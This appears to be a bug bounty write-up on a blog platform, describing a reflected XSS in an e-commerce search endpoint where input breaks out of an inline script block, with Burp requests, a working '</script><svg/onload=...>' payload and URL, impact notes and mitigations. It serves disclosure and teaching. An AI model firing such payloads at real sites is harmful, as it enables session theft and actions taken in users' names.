DEV Community

Hassan Elsayed
Hassan Elsayed

Posted on

Reflected XSS in E-Commerce Search — Bug Bounty Writeup

Introduction

This one's a Reflected XSS I found during a bug bounty hunt, and it reinforced a lesson I keep relearning: the simplest features often hide the most critical vulnerabilities.

The bug was sitting in plain sight — the search bar. The innocent text box everyone uses to find products. Most people type product names into it. I typed something else.

What made it interesting wasn't just finding the XSS — it was how the injection worked. My input was reflected inside an existing <script> tag, so a basic payload wouldn't cut it. I had to break out of the JavaScript context first before I could execute anything.

Here's exactly how it went down.

Step 1: Finding the Reflection

I started doing what I always do on a new target — hunting for input fields. Login forms, comments, contact forms... and then the search bar.

Search functionality is a goldmine for XSS hunters because:

  • it's designed to accept arbitrary input
  • results pages often reflect that input back to show what you searched for
  • devs sometimes overlook it — "it's just a search"

Simple test string first, no fancy payload:

test
Enter fullscreen mode Exit fullscreen mode

Response:

Search results for: "test"
Enter fullscreen mode Exit fullscreen mode

My input came back reflected directly in the HTML. Step one done. Next question: is there any filtering?

Step 2: Testing for Sanitization

Time to throw special characters at it:

test><" '
Enter fullscreen mode Exit fullscreen mode

These matter because:

  • < and > build HTML tags
  • " and ' break out of attributes
  • if none of this gets encoded, there's a real vulnerability here

Response:

Search results for: "test><" '"
Enter fullscreen mode Exit fullscreen mode

No encoding, no filtering, nothing. ✅ All the dangerous characters came back untouched.

Step 3: Locating the Injection Point with Burp Suite

Most people stop once they see the reflection in the visible page content. That's a mistake — I opened Burp Suite and used a unique marker to trace exactly where my input landed in the raw response:

test3030
Enter fullscreen mode Exit fullscreen mode

Request:

GET /search?q=test3030%3E%3C%22+%27&search-button=&lang=en_US HTTP/2
Host: [REDACTED]
Enter fullscreen mode Exit fullscreen mode

Searching the response for test3030 showed it reflected in multiple places — some filtered, some not. Then the jackpot, buried in the page source:

}]);
pushMCView(["trackPageView",{
    "search":"test3030><\" '"
}]);
flushViewQueue();
} catch (e) { console.error(e); }
</script>
Enter fullscreen mode Exit fullscreen mode

🔍 My input was sitting inside an existing <script> block, completely unfiltered — the special characters all made it through unencoded.

This is different from a typical XSS. The input isn't in the HTML body, it's inside JavaScript code, which means a different approach is needed.

Step 4: Breaking Out of the Script Context

The problem: I can't just inject <img src=x onerror=alert(1)> because I'm already inside a <script> tag — the browser expects JS syntax there, not HTML.

Then it clicked: what if I close the script tag myself?

</script>test3030
Enter fullscreen mode Exit fullscreen mode

The browser saw the closing </script> and ended the JavaScript context right there. Everything after it got treated as HTML instead.

✅ Script context escaped. Verified with Burp:

Request:

GET /search?q=</script>test3030%3E%3C%22+%27&search-button=&lang=en_US HTTP/2
Enter fullscreen mode Exit fullscreen mode

Response:

pushMCView(["trackPageView",{
    "search":"</script>test3030><\" '"
}]);
flushViewQueue();
} catch (e) { console.error(e); }
</script>
Enter fullscreen mode Exit fullscreen mode

The </script> tag closes the existing script block early — everything after it is now HTML, not JavaScript. That's the key to the whole exploit.

Now I could inject arbitrary HTML elements, and with them, JS event handlers.

Step 5: Crafting the Exploit Payload

The plan:

  1. close the existing <script> tag with </script>
  2. inject an SVG element (lightweight, reliable)
  3. use its onload event to run JavaScript

Final payload:

</script><svg/onload=alert(document.domain)>
Enter fullscreen mode Exit fullscreen mode

Full malicious URL:

/search?q=</script><svg/onload=alert(document.domain)>&search-button=&lang=en_US
Enter fullscreen mode Exit fullscreen mode

Sent it through Burp and inspected the response:

pushMCView(["trackPageView",{
    "search":"</script><svg/onload=alert(document.domain)><\" '"
}]);
Enter fullscreen mode Exit fullscreen mode

The full payload came back unmodified in the HTML — script context terminated, SVG element with its malicious onload sitting there ready to fire.

Step 6: Proof of Concept

Theory's great, but I needed visual proof. Opened a browser and navigated to the malicious URL.

🎯 The alert box popped up, displaying the target domain — full JavaScript execution confirmed in the context of the vulnerable site.

Why This Works

My input:

</script><svg/onload=alert(document.domain)>
Enter fullscreen mode Exit fullscreen mode

How it appears in the HTML:

<script>
pushMCView(["trackPageView",{"search":"</script>  ← script ends HERE
<svg/onload=alert(document.domain)>               ← this becomes HTML!
"}]);
</script>
Enter fullscreen mode Exit fullscreen mode

What the browser actually parses:

  1. start of a <script> block
  2. some JS: pushMCView(["trackPageView",{"search":"
  3. closing tag </script> → browser thinks the script is done
  4. HTML content <svg/onload=alert(document.domain)> → this executes
  5. leftover text "}]); → browser ignores it
  6. another </script> → ignored, no matching open tag

The browser's HTML parser is greedy: the instant it sees </script>, it closes the JavaScript context, regardless of what the app intended.

Impact

This lets an attacker:

  • execute arbitrary JavaScript in the victim's browser
  • steal session cookies if they aren't HttpOnly
  • perform actions on behalf of the logged-in user
  • run phishing attacks from within a trusted domain

Mitigation

  • properly encode user input before embedding it in JavaScript
  • use safe serialization (e.g. JSON.stringify)
  • never inject raw user input directly into script blocks
  • add a Content Security Policy to limit exploitation impact

Vulnerability Details

  • Type: Reflected XSS
  • Parameter: q
  • Endpoint: /search
  • Method: GET
  • Payload: </script><svg/onload=alert(document.domain)>

Conclusion

This is exactly why I love bug bounties — you never know what a bit of poking around in a "boring" search bar will turn up. A simple input field turned into a full XSS.

Key takeaways:

  • always test input fields, even the boring ones
  • use the right tools — Burp Suite is essential here
  • understand the injection context before crafting a payload
  • simple often beats complex

Stay curious, stay persistent, happy hacking! 🔐

Top comments (0)